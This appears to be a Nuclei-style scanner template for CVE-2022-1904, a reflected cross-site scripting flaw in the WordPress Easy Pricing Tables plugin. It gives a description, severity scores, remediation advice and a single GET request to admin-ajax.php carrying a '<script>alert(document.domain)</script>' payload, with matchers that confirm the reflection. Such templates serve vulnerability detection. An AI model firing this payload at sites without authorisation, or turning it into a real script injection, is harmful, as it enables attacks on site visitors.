id: CVE-2022-1904

info:
  name: WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Easy Pricing Tables plugin before 3.2.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before reflecting it back in a page available to any user both authenticated and unauthenticated when a specific setting is enabled.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: |
    Update to the latest version of WordPress Easy Pricing Tables plugin (3.2.1) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/92215d07-d129-49b4-a838-0de1a944c06b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1904
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1904
    cwe-id: CWE-79
    epss-score: 0.01421
    epss-percentile: 0.7022
    cpe: cpe:2.3:a:fatcatapps:easy_pricing_tables:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatcatapps
    product: easy_pricing_tables
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wpscan,wp-plugin,xss,fatcatapps,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script> - Color'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203b086aeb935cdd4e6076ae4bc629a23bd5e9c6e279c4674643b74909224ec7a0022073a9a78efdff510ef723a2d3d2481ce814dea094c93fb2425dce589f154d27e5:922c64590222798bb761d5b6d8e72950